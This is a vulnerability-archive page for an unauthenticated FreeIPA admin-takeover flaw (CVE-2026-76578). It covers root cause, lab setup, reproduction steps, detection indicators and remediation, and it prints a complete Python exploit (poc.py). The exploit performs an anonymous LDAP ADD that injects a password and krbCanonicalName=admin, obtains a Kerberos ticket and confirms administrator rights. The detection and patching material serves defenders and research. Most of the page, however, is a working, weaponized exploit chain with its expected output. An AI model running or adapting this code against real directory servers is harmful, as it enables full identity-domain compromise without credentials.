PoC Archive PoC Archive
CVE-2026-76578 category: network CVSS 9.8 (CRITICAL)
Unverified

FreeIPA Anonymous OTP ACI Abuse — Unauthenticated Kerberos Principal Injection and Admin Takeover (CVE-2026-76578)

Published: 2026-11-25 • Researcher: BrainBob (GitHub PoC author); Red Hat Product Security (advisory and errata)

Target software FreeIPA (ipa-server) self-managed OTP token ACI under cn=otp, evaluated by the 389-ds-base directory server
Affected versions FreeIPA 4.9.x through 4.13.3 (fixed in 4.13.4, per upstream README); 389-ds-base before 3.2.0-10.el10_2 on RHEL 10 (RHSA-2026:64785) and the corresponding RHEL 9 build. The NVD record in the worklist lists no product or version ranges — See references.
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-76578 (companion flaw: CVE-2026-76560 in 389-ds-base)
Category
network
Affected product
FreeIPA (ipa-server) self-managed OTP token ACI under cn=otp, evaluated by the 389-ds-base directory server
Affected versions
FreeIPA 4.9.x through 4.13.3 (fixed in 4.13.4, per upstream README); 389-ds-base before 3.2.0-10.el10_2 on RHEL 10 (RHSA-2026:64785) and the corresponding RHEL 9 build. The NVD record in the worklist lists no product or version ranges — See references.
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-09
Author / ResearcherBrainBob (GitHub PoC author); Red Hat Product Security (advisory and errata)
CVE / AdvisoryCVE-2026-76578 (companion flaw: CVE-2026-76560 in 389-ds-base)
Categorynetwork
SeverityCritical
CVSS Score9.8 (per NVD; full vector not supplied in the worklist — See references)
StatusWeaponized
TagsFreeIPA, LDAP, Kerberos, authentication-bypass, ACI, unauthenticated, privilege-escalation, 389-ds, identity-management, CWE-306
RelatedN/A

Affected Target

FieldValue
Software / SystemFreeIPA (ipa-server) self-managed OTP token ACI under cn=otp, evaluated by the 389-ds-base directory server
Versions AffectedFreeIPA 4.9.x through 4.13.3 (fixed in 4.13.4, per upstream README); 389-ds-base before 3.2.0-10.el10_2 on RHEL 10 (RHSA-2026:64785) and the corresponding RHEL 9 build. The NVD record in the worklist lists no product or version ranges — See references.
Language / PlatformPython 3 (python-ldap client) plus shell; target is Linux (Fedora 44 / RHEL 9-10) running FreeIPA and 389-ds
Authentication RequiredNo — the attack starts with an anonymous LDAP bind and an anonymous ADD
Network Access RequiredYes — LDAP 389/636 and Kerberos 88 must be reachable from the attacker host

Summary

CVE-2026-76578 is a missing-authentication flaw in FreeIPA’s self-managed OTP token ACI. The ACI allows anonymous clients to add token entries under cn=otp and does not restrict which attributes may accompany the entry, so an unauthenticated LDAP client can inject attributes such as userPassword, krbPrincipalAux and krbCanonicalName. Combined with a related 389-ds-base ACI evaluation flaw tracked as CVE-2026-76560, which treats an empty string as the anonymous bind DN and so satisfies the ipatokenOwner SELFDN check, the attacker can have the directory server generate a Kerberos key from the supplied password and obtain a TGT whose canonical name is a real administrator. The result is genuine FreeIPA administrator-group membership and full administrative control of the directory, without any prior credentials.

Vulnerability Details

Root Cause

FreeIPA ships an ACI that lets a user manage their own OTP token entry under cn=otp. That ACI lacks a targetattr allowlist, so an anonymous ADD through it may carry arbitrary attributes instead of only the token attributes the design intended. A second, separately tracked defect in the 389-ds-base SELFDN evaluator (CVE-2026-76560) considers the empty string a match for the anonymous bind DN, which defeats the ipatokenOwner ownership comparison. Because the added entry can also carry inetOrgPerson and krbPrincipalAux, the 389-ds ipapwd plugin will generate krbPrincipalKey server-side from the attacker’s userPassword, encrypted with the realm master key, so no captured key material is needed.

Attack Vector

An unauthenticated attacker with network access to the directory performs an anonymous simple bind and an LDAP ADD of an entry such as ipatokenuniqueid=pwn-…,cn=otp,… containing objectClass ipaToken, ipatokenTOTP, krbPrincipalAux and inetOrgPerson, an empty ipatokenOwner and managedBy, a chosen userPassword, a past krbLastPwdChange and a future krbPasswordExpiration, and krbPrincipalName. The same ADD can set krbCanonicalName to the real administrator principal (for example admin@REALM), which the Kerberos uniqueness plugin does not cover for cn=otp. The attacker then runs kinit with the chosen password; with canonicalize enabled the KDC issues a TGT whose canonical name is the administrator, and a GSSAPI LDAP bind resolves to the real uid=admin directory entry. The PoC automates the three stages: token creation with server-side key generation, GSSAPI bind, and the krbCanonicalName collision that yields admin-group rights.

Impact

Remote, unauthenticated takeover of the FreeIPA domain. An attacker obtains a genuine Kerberos TGT for an administrator principal, binds to LDAP as uid=admin, and inherits membership in cn=admins, allowing arbitrary directory administration (users, groups, HBAC/Sudo rules, certificates, DNS) and, on SID-enabled deployments, access to other IdM services. No group modification is required, so the compromise leaves the legitimate admin entry untouched and can be hard to spot. The upstream PoC reports all three levels confirmed against FreeIPA 4.13.1 on Fedora 44.

Environment / Lab Setup

Output
OS:          Fedora 44 x86_64 (target); Kali Linux (attacker, external, no domain membership)
Target:      freeipa-server-4.13.1-9.fc44 with 389-ds-base-3.2.0-15.fc44,
             krb5-libs 1.21.x, realm TEST.LOCAL, domain test.local,
             host ipa-master.test.local at 192.168.1.11
Attacker:    Kali Linux with python3-ldap, krb5-user, ldap-utils,
             libsasl2-modules-gssapi-mit
Tools:       poc.py, setup_lab.sh, kinit/klist, ldapsearch, GSSAPI

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123

apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit

192.168.1.11  ipa-master.test.local

cat > /etc/krb5.conf <<'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
    canonicalize = true
    forwardable = true
    rdns = false

[realms]
    TEST.LOCAL = {
        kdc = ipa-master.test.local
    }

[domain_realm]
    .test.local = TEST.LOCAL
    test.local = TEST.LOCAL
EOF

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the vulnerable lab — deploy FreeIPA 4.13.1 (or any 4.9.x-4.13.3) with an unpatched 389-ds-base and confirm that anonymous LDAP bind is allowed, as setup_lab.sh does.
  2. Configure the attacker host — install python3-ldap and krb5-user, add the IPA hostname to /etc/hosts, and point /etc/krb5.conf at the realm with canonicalize enabled.
  3. Run the PoC — pass the target IP, IPA hostname and realm; the script performs an anonymous bind, then the ADD under cn=otp with an empty ipatokenOwner plus userPassword and Kerberos attributes, then kinit with the chosen password.
  4. Confirm level 1 and 2 — a TGT is issued and a GSSAPI LDAP bind succeeds, proving the injected principal is a real directory identity.
  5. Confirm level 3 — a second ADD sets krbCanonicalName to admin@REALM, kinit returns a TGT whose default principal is admin, the GSSAPI bind resolves to uid=admin, and a search of cn=admins shows uid=admin as a member.

Exploit Code

See poc.py for the full three-stage exploit and setup_lab.sh for the vulnerable lab deployment.

Shell script
1
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

Expected Output

Output
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
  [+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
  [+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
  [+] TGT obtained — LEVEL 1 CONFIRMED
      Default principal: pwn-...@TEST.LOCAL

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
  [+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
  [+] LEVEL 2 CONFIRMED

── TEST 3: krbCanonicalName=admin collision ──────────────────────────
  [+] ADD with krbCanonicalName=admin@TEST.LOCAL succeeded
  [+] TGT obtained — ticket claims principal: admin@TEST.LOCAL
  [+] TGT cname is admin — LEVEL 3 CONFIRMED
  [+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
  [+] uid=admin is member of cn=admins — real admin rights confirmed

============================================================
  CVE-2026-76578 — Result Summary
============================================================
  Level 1 — Server-side krbPrincipalKey + TGT    [✓] CONFIRMED
  Level 2 — GSSAPI LDAP / Kerberos auth          [✓] CONFIRMED
  Level 3 — Real admin group membership           [✓] CONFIRMED

  Full zero-credential compromise chain reproduced.
  No pre-captured blob required.
============================================================

Detection & Indicators of Compromise

  • 389-ds access logs showing an ADD under cn=otp from an anonymous connection, especially entries whose ipatokenOwner or managedBy value is empty.
  • OTP token entries that carry inetOrgPerson, krbPrincipalAux, userPassword, krbLastPwdChange or krbPasswordExpiration attributes, which normal enrollment does not add directly.
  • krbCanonicalName values on cn=otp entries that name an existing human or administrative principal, particularly admin.
  • KDC logs showing an AS-REQ for a newly created cn=otp principal followed by a TGT whose canonical name is a privileged account, and subsequent GSSAPI LDAP binds as uid=admin.
  • Directory audit logs recording creation of cn=otp entries outside the normal IPA enrollment path, or from source addresses that are not IPA clients.
  • Unexpected cn=admins membership queries or administrative operations performed immediately after anonymous token creation.

Example 389-ds access log line:

Output
1
[25/Nov/2026:12:00:00.123456789 +0000] conn=42 op=1 ADD dn="ipatokenuniqueid=pwn-1750000000,cn=otp,dc=test,dc=local"

SIEM query (example, illustrative — map to your own directory log pipeline):

Output
1
2
index=ldap sourcetype="389-ds:access" "ADD dn=\"ipatokenuniqueid="
| where match(raw, "cn=otp")

Remediation

ActionDetail
PatchUpgrade FreeIPA to 4.13.4 or later, which adds a targetattr allowlist to the OTP ACI, and upgrade 389-ds-base to 3.2.0-10.el10_2 or the corresponding fixed RHEL 9 build (RHSA-2026:64785). Apply the FreeIPA errata listed in the NVD references (RHSA-2026:70564, 72279, 82935, 83083, 83084, 83085) as applicable. Both components must be fixed; either fix alone reduces but does not eliminate the chain.
WorkaroundRestrict anonymous LDAP access to the rootDSE only (set nsslapd-allow-anonymous-access to rootdse) so unauthenticated ADDs under cn=otp are rejected, until both updates are applied. Alternatively, replace the OTP ACI with one that has an explicit targetattr allowlist and requires an authenticated bind, and audit existing cn=otp entries for unexpected attributes.
Config HardeningRestrict LDAP 389/636 and Kerberos 88 to trusted networks, enforce TLS/LDAPS, alert on anonymous ADD operations under cn=otp, review cn=admins membership, and monitor KDC issuance of admin-canonicalized TGTs for non-admin principals.

References

Notes

Auto-ingested from https://github.com/BrainBob/CVE-2026-76578 on 2026-11-25. Review verdict: this is a real exploit, not a detector. poc.py performs the anonymous LDAP ADD, kinit and GSSAPI bind that constitute the attack and reports level-by-level confirmation; setup_lab.sh builds the vulnerable Fedora/RHEL lab. Status is Weaponized because the upstream README documents a reproduced zero-credential chain with admin-group confirmation, but the archivist did not execute the code.

The repository has no license file, so the two source files are archived with attribution for authorized research only. Limitations: the chain depends on the separate 389-ds-base flaw CVE-2026-76560, so patching only one component is insufficient; it requires anonymous LDAP access plus reachable LDAP/Kerberos ports; and it was validated only against FreeIPA 4.13.1 / 389-ds-base 3.2.0-15.fc44 on Fedora 44, so behavior on other builds and non-default ACIs may differ. The upstream setup_lab.sh assumes root, SELinux permissive mode and a disposable VM, and its comments are in Russian. Use only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/BrainBob/CVE-2026-76578 (see README for attribution/license)
"""
CVE-2026-76578 — FreeIPA Anonymous Kerberos Principal Injection
================================================================
Zero-credential attack chain — no pre-captured blob required.

Root causes:
  CVE-2026-76578  FreeIPA OTP ACI has no targetattr restriction, allowing
                  anonymous ADD of any attribute including userPassword,
                  krbPrincipalAux, and krbCanonicalName.
  CVE-2026-76560  389-DS SELFDN evaluator accepts "" as matching the
                  anonymous bind DN, bypassing the ipatokenOwner check.

Zero-credential key generation:
  Anonymous ADD includes objectClass=inetOrgPerson + userPassword.
  The 389-DS ipapwd password sync plugin automatically generates
  krbPrincipalKey from userPassword, encrypting it with the target realm's
  krbMKey — entirely server-side, no master key knowledge required.

  krbLastPwdChange=past + krbPasswordExpiration=future bypass the Kerberos
  minimum-password-lifetime policy that would otherwise block kinit.

Level 3 mechanism (krbCanonicalName collision):
  The kerberos name uniqueness plugin enforces cross-tree uniqueness on
  krbPrincipalName and krbPrincipalAlias but NOT on krbCanonicalName.
  Injecting krbCanonicalName=admin@REALM causes the KDC to issue a TGT
  whose cname is admin@REALM. The resulting ticket is indistinguishable from
  a ticket obtained by the real admin; GSSAPI resolves to uid=admin and full
  admin LDAP rights follow immediately — no group manipulation required.

Usage:
  python3 poc.py <target_ip> <ipa_hostname> <REALM>
  python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
  python3 poc.py 10.0.0.5 ipa.company.com COMPANY.COM

Tested against:
  FreeIPA 4.13.1 / Fedora 44 (389-ds-base 3.2.0-15.fc44) — all levels confirmed

Legal:
  Developed and executed in an isolated, privately owned lab environment for
  authorised security research only. Use only against systems you own or have
  explicit written permission to test. Verify applicability and behaviour
  against your specific target environment before drawing conclusions.
  The authors accept no liability for misuse.
"""
import ldap
import subprocess
import sys
import time

TARGET   = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.11"
IPA_HOST = sys.argv[2] if len(sys.argv) > 2 else "ipa-master.test.local"
REALM    = sys.argv[3] if len(sys.argv) > 3 else "TEST.LOCAL"
BASE_DN  = "dc=" + ",dc=".join(REALM.lower().split("."))
PASS     = "PwnedPass1!"

C_OK   = "\033[92m"; C_FAIL = "\033[91m"; C_WARN = "\033[93m"
C_BOLD = "\033[1m";  C_END  = "\033[0m";  C_CYAN = "\033[96m"

def step(n, t): print(f"\n{C_CYAN}{C_BOLD}── TEST {n}: {t} {'─'*(48-len(t))}{C_END}")
def ok(m):   print(f"  {C_OK}[+]{C_END} {m}")
def fail(m): print(f"  {C_FAIL}[-]{C_END} {m}")
def warn(m): print(f"  {C_WARN}[~]{C_END} {m}")
def run(cmd, inp=None):
    r = subprocess.run(cmd, input=inp, capture_output=True, text=True, timeout=15)
    return r.returncode, r.stdout, r.stderr


# ── Anonymous bind ─────────────────────────────────────────────────────────────
l = ldap.initialize(f"ldap://{TARGET}")
l.set_option(ldap.OPT_NETWORK_TIMEOUT, 5)
l.simple_bind_s("", "")

ts = int(time.time())


# ── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation (Level 1) ──
step(1, "Anonymous ADD — server-side krbPrincipalKey generation")
print(f"""
  {C_BOLD}Mechanism:{C_END}
    objectClass=inetOrgPerson allows userPassword in the ADD.
    389-DS ipapwd plugin converts userPassword → krbPrincipalKey using the
    target realm's krbMKey — entirely server-side, no master key needed.
    krbLastPwdChange=past bypasses the min-password-lifetime policy check.
""")

token_id  = f"pwn-{ts}"
principal = f"pwn-{ts}@{REALM}"
dn1       = f"ipatokenuniqueid={token_id},cn=otp,{BASE_DN}"

ml = [
    ("objectClass", [
        b"top", b"ipaToken", b"ipatokenTOTP",
        b"krbPrincipalAux",
        b"person", b"organizationalPerson", b"inetOrgPerson",
    ]),
    ("ipatokenuniqueid",     [token_id.encode()]),
    # CVE-2026-76560: SELFDN evaluator accepts "" as anonymous bind DN
    ("ipatokenOwner",        [b""]),
    ("managedBy",            [b""]),
    ("ipatokenOTPkey",       [b"GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"]),
    ("ipatokenTOTPtimeStep", [b"30"]),
    ("ipatokenOTPalgorithm", [b"sha1"]),
    ("ipatokenOTPdigits",    [b"6"]),
    ("ipatokenDisabled",     [b"FALSE"]),
    ("cn",                   [token_id.encode()]),
    ("sn",                   [b"pwn"]),
    ("krbPrincipalName",     [principal.encode()]),
    # CVE-2026-76578: no targetattr restriction — userPassword passes through
    # 389-DS ipapwd plugin generates krbPrincipalKey server-side from this
    ("userPassword",         [PASS.encode()]),
    # Set past change date + future expiry to bypass krbMinPwdLife policy
    ("krbLastPwdChange",     [b"20200101000000Z"]),
    ("krbPasswordExpiration", [b"20990101000000Z"]),
]

level1_ok = False
try:
    l.add_s(dn1, ml)
    ok(f"ADD succeeded: {dn1}")
    ok(f"Server generated krbPrincipalKey from userPassword (ipapwd plugin)")
    ok(f"Principal registered: {principal}")

    print(f"\n  kinit {principal} / {PASS} ...")
    run(["kdestroy", "-q"])
    rc, out, err = run(["kinit", principal], inp=f"{PASS}\n")
    if rc == 0:
        ok("TGT obtained — LEVEL 1 CONFIRMED")
        level1_ok = True
        _, out2, _ = run(["klist", "-f"])
        for line in out2.strip().splitlines():
            print(f"    {line}")
    else:
        warn(f"kinit failed: {err.strip()[:140]}")

except ldap.INSUFFICIENT_ACCESS as e:
    fail(f"ADD blocked — ACI is patched:")
    fail(f"  {e.args[0].get('info', e.args[0].get('desc', ''))[:120]}")
    fail("Target is likely running 389-ds-base >= 3.2.0-10.el10_2 (RHSA-2026:64785)")
except ldap.OBJECT_CLASS_VIOLATION as e:
    fail(f"Schema violation — inetOrgPerson may be blocked: {e.args[0].get('info','')[:100]}")
except ldap.CONSTRAINT_VIOLATION as e:
    warn(f"Constraint violation: {e.args[0].get('info', '')[:120]}")
except ldap.LDAPError as e:
    fail(f"LDAP error: {e}")


# ── TEST 2: GSSAPI LDAP authentication (Level 2) ──────────────────────────────
step(2, "GSSAPI LDAP bind with the injected principal — Level 2")

level2_ok = False
rc, _, _ = run(["klist", "-s"])
if rc != 0:
    warn("No active TGT — skipping Level 2 (kinit must succeed first).")
else:
    try:
        import ldap.sasl
        l2 = ldap.initialize(f"ldap://{IPA_HOST}")
        l2.set_option(ldap.OPT_NETWORK_TIMEOUT, 10)
        l2.sasl_interactive_bind_s("", ldap.sasl.gssapi())
        whoami = l2.whoami_s()
        ok(f"GSSAPI bind succeeded: {whoami}")
        ok("LEVEL 2 CONFIRMED — Kerberos identity accepted by directory server")
        level2_ok = True
    except ldap.LDAPError as e:
        warn(f"GSSAPI bind failed: {e}")
        warn("Ensure /etc/hosts resolves IPA hostname and KRB5CCNAME is set.")


# ── TEST 3: krbCanonicalName collision → real admin TGT (Level 3) ─────────────
step(3, "krbCanonicalName=admin collision — Level 3 admin impersonation")
print(f"""
  {C_BOLD}Mechanism:{C_END}
    krbCanonicalName=admin@{REALM} is NOT covered by the Kerberos uniqueness plugin.
    The KDC issues a TGT with cname=admin@{REALM}.
    GSSAPI resolves this to uid=admin — already member of cn=admins.
    No group membership modification needed.
""")

level3_ok = False
token_id3  = f"lvl3-{ts}"
principal3 = f"lvl3-{ts}@{REALM}"
dn3        = f"ipatokenuniqueid={token_id3},cn=otp,{BASE_DN}"

ml3 = [
    ("objectClass", [
        b"top", b"ipaToken", b"ipatokenTOTP",
        b"krbPrincipalAux",
        b"person", b"organizationalPerson", b"inetOrgPerson",
    ]),
    ("ipatokenuniqueid",     [token_id3.encode()]),
    ("ipatokenOwner",        [b""]),
    ("managedBy",            [b""]),
    ("ipatokenOTPkey",       [b"GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"]),
    ("ipatokenTOTPtimeStep", [b"30"]),
    ("ipatokenOTPalgorithm", [b"sha1"]),
    ("ipatokenOTPdigits",    [b"6"]),
    ("ipatokenDisabled",     [b"FALSE"]),
    ("cn",                   [token_id3.encode()]),
    ("sn",                   [b"lvl3"]),
    ("krbPrincipalName",     [principal3.encode()]),
    # krbCanonicalName=admin@REALM bypasses the uniqueness plugin
    ("krbCanonicalName",     [f"admin@{REALM}".encode()]),
    # userPassword → krbPrincipalKey via server-side ipapwd plugin (zero credential)
    ("userPassword",         [PASS.encode()]),
    ("krbLastPwdChange",     [b"20200101000000Z"]),
    ("krbPasswordExpiration", [b"20990101000000Z"]),
]

try:
    l.add_s(dn3, ml3)
    ok(f"ADD with krbCanonicalName=admin@{REALM} succeeded: {dn3}")

    print(f"\n  kinit {principal3} / {PASS} ...")
    run(["kdestroy", "-q"])
    rc, out, err = run(["kinit", principal3], inp=f"{PASS}\n")
    if rc == 0:
        _, klist_out, _ = run(["klist", "-f"])
        tgt_principal = next(
            (ln.split(":")[-1].strip() for ln in klist_out.splitlines()
             if "Default principal" in ln), "unknown"
        )
        ok(f"TGT obtained — ticket claims principal: {tgt_principal}")

        if "admin" in tgt_principal.lower():
            ok("TGT cname is admin — LEVEL 3 CONFIRMED")
            level3_ok = True
            for line in klist_out.strip().splitlines():
                print(f"    {line}")

            try:
                import ldap.sasl
                l3 = ldap.initialize(f"ldap://{IPA_HOST}")
                l3.set_option(ldap.OPT_NETWORK_TIMEOUT, 10)
                l3.sasl_interactive_bind_s("", ldap.sasl.gssapi())
                whoami3 = l3.whoami_s()
                ok(f"GSSAPI bind: {whoami3}")
                admins = l3.search_s(
                    f"cn=admins,cn=groups,cn=accounts,{BASE_DN}",
                    ldap.SCOPE_BASE, "(objectClass=*)", ["member"]
                )
                members = admins[0][1].get("member", [])
                if any(b"uid=admin" in m for m in members):
                    ok("uid=admin is member of cn=admins — real admin rights confirmed")
                ok(f"cn=admins has {len(members)} member(s)")
            except ldap.LDAPError as e:
                warn(f"GSSAPI confirm failed: {e}")
        else:
            warn(f"TGT cname not admin ({tgt_principal})")
    else:
        warn(f"kinit failed: {err.strip()[:140]}")

except ldap.CONSTRAINT_VIOLATION as e:
    warn(f"krbCanonicalName blocked by uniqueness plugin: {e.args[0].get('info','')[:100]}")
except ldap.INSUFFICIENT_ACCESS as e:
    fail(f"ADD blocked: {e.args[0].get('desc','')[:80]}")
except ldap.LDAPError as e:
    fail(f"LDAP error: {e}")


# ── Summary ────────────────────────────────────────────────────────────────────
print(f"\n{C_BOLD}{'═'*60}{C_END}")
print(f"{C_BOLD}  CVE-2026-76578 — Result Summary{C_END}")
print(f"{C_BOLD}{'═'*60}{C_END}")

def badge(ok): return f"{C_OK}[✓] CONFIRMED{C_END}" if ok else f"{C_FAIL}[✗] NOT achieved{C_END}"

print(f"  Level 1 — Server-side krbPrincipalKey + TGT    {badge(level1_ok)}")
print(f"  Level 2 — GSSAPI LDAP / Kerberos auth          {badge(level2_ok)}")
print(f"  Level 3 — Real admin group membership           {badge(level3_ok)}")
print()
if level3_ok:
    print(f"  {C_BOLD}Full zero-credential compromise chain reproduced.{C_END}")
    print(f"  No pre-captured blob required — krbPrincipalKey generated by")
    print(f"  the target server's own ipapwd plugin from the attacker's password.")
    print(f"  Fix: RHSA-2026:64785 (389-ds-base >= 3.2.0-10.el10_2)")
    print(f"       or FreeIPA >= 4.13.4 (tightens OTP ACI targetattr)")
else:
    print(f"  Level 3 blocked — see README.md for analysis.")
print()